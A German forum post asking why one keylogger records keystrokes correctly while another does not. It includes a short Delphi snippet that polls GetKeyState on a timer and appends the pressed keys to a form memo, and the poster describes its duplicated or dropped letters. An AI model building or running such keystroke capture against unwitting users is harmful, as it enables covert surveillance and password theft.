Keylogger ohne dll :)

[Aljoscha]

Sorry damit kann ich nicht wirklich viel anfangen :s
Wieso stellt dieser Keylogger dei Eingaben korrekt dar und andere die ähnlich arbeiten nicht?
Kannst du mir das am Source erklären?
Man bräuchte normal ja nur einen Timer für die reinen eingaben, aber irgendwie sind es 2.
Ich habe noch einen anderen Keylogger Source der mit Timern arbeitet, damit man sieht wie das bei dem aussieht.

Delphi-Quellcode:

   1. procedure TForm1.Timer1Timer(Sender: TObject);
   2. Var pos, c : integer;
   3. begin
   4. //64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
   5. for c:= 1 to 255 do begin;
   6.         pos := GetKeyState(c);
   7.         If Copy(IntToStr(pos),1,1) = '-' Then begin;
   8.                 memo1.Text := Memo1.Text + chr(c);
   9.         End;
  10. End;
  11. end;

Wenn ich nun etwas eingebe stellt er mir je nach Timergeschwindigkeit HHHHHHaaaaaaaalllllllllllllllllllllooooooo
oder auh wnen ich z.B. langsamer einstelle
Hlo
oder noch weniger (bis eben hin zu garnichts, weil beim Timerevent der Knopf schon wieder losgelassen wurde)